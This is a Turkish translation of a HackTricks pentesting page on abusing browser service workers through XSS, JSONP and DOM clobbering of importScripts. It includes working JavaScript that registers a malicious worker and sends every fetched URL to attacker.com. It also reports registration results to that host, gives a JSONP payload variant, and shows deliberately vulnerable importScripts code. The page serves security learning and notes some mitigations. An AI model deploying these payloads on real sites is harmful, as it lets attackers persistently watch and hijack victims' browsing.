8.2 KiB
Hizmet İşçilerini Kötüye Kullanma
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
- **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARI'na göz atın!
- The PEASS Family koleksiyonumuzu keşfedin, özel NFT'lerimiz
- Resmi PEASS & HackTricks ürünlerini alın
- 💬 Discord grubuna katılın veya telegram grubuna veya beni Twitter 🐦@carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek PR'ler göndererek hacktricks repo ve hacktricks-cloud repo ile paylaşın.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Temel Bilgiler
Hizmet işçisi, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, böylece çevrimdışı ve arka plan işleme yeteneklerini artıran özellikleri etkinleştiren bir betiktir. Hizmet işçileri hakkında detaylı bilgiye buradan ulaşılabilir. Savunmasız bir web alanı içinde hizmet işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini ele geçirebilirler.
Varolan Hizmet İşçilerini Kontrol Etme
Varolan hizmet işçileri, Geliştirici Araçları'ndaki Uygulama sekmesindeki Hizmet İşçileri bölümünde kontrol edilebilir. Başka bir yöntem, daha detaylı bir görünüm için chrome://serviceworker-internals adresini ziyaret etmektir.
İtme Bildirimleri
İtme bildirimi izinleri, bir hizmet işçisinin doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik riskleri artar ve potansiyel saldırıları alıp yürütme yeteneğini etkinleştirir.
Hizmet İşçisi Oluşturarak Saldırı
Bu zafiyeti sömürmek için şunları bulmanız gerekir:
- Sunucuya keyfi JS dosyaları yüklemek için bir yol ve yüklenen JS dosyasının hizmet işçisini yüklemek için bir XSS bulun
- Manipüle edebileceğiniz (keyfi JS kodu ile) savunmasız bir JSONP isteği ve bir XSS ile JSONP'yi yükleyen bir yük oluşturacak bir payload ile zararlı bir hizmet işçisi yüklemek için.
Aşağıdaki örnekte, fetch
etkinliğini dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir hizmet işçisi kaydetmek için gereken kodu sunacağım:
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
Ve işte işçiyi kaydedecek olan kod (uygulayabileceğiniz XSS'i suiistimal ederek çalıştırmanız gereken kod). Bu durumda, saldırganın sunucusuna bir GET isteği gönderilecek ve hizmet işçisinin kaydının başarılı olup olmadığı bildirilecek:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
Zararlı bir JSONP ucu söz konusu olduğunda değeri var sw
içine koymalısınız. Örneğin:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Service Worker kötüye kullanmak için çok yararlı olacak olan Shadow Workers adında bir C2 bulunmaktadır.
24 saatlik önbellek yönergesi, bir XSS güvenlik açığı düzeltmesinden sonra en fazla 24 saat boyunca kötü niyetli veya tehlikeli bir hizmet işçisinin (SW) yaşamını sınırlar, çevrimiçi istemci durumu varsayılarak. Zayıflığı en aza indirmek için site işletmecileri SW betiğinin Zaman-Canlılığı (TTL)'nı düşürebilir. Geliştiricilere hızlı devre dışı bırakma için bir hizmet işçisi kill-switch oluşturmaları da tavsiye edilir.
DOM Clobbering aracılığıyla SW'de importScripts
'in Kötüye Kullanımı
Bir Hizmet İşçisinden çağrılan importScripts
işlevi, farklı bir etki alanından bir betiği içe aktarabilir. Bu işlev, bir saldırganın değiştirebileceği bir parametre kullanılarak çağrıldığında, saldırganın kendi etki alanındaki bir JS betiğini içe aktarmasına ve XSS almasına olanak tanır.
Bu, CSP korumalarını bile atlar.
Örnek zafiyetli kod:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
DOM Clobbering ile
DOM Clobbering hakkında daha fazla bilgi için şu bağlantıya bakın:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
Eğer SW'nin importScripts
çağırdığı URL/domain, bir HTML öğesi içindeyse, SW'nin kendi alan adınızdan bir betik yüklemesini sağlamak için DOM Clobbering ile değiştirilebilir.
Bu konunun örneği için referans bağlantısına bakın.
Referanslar
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!
- **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Family keşfedin, özel NFT'lerimiz koleksiyonumuz
- Resmi PEASS & HackTricks ürünlerini alın
- Katılın 💬 Discord grubuna veya telegram grubuna veya beni Twitter 🐦@carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek hacktricks repo ve hacktricks-cloud repo ile katkıda bulunun.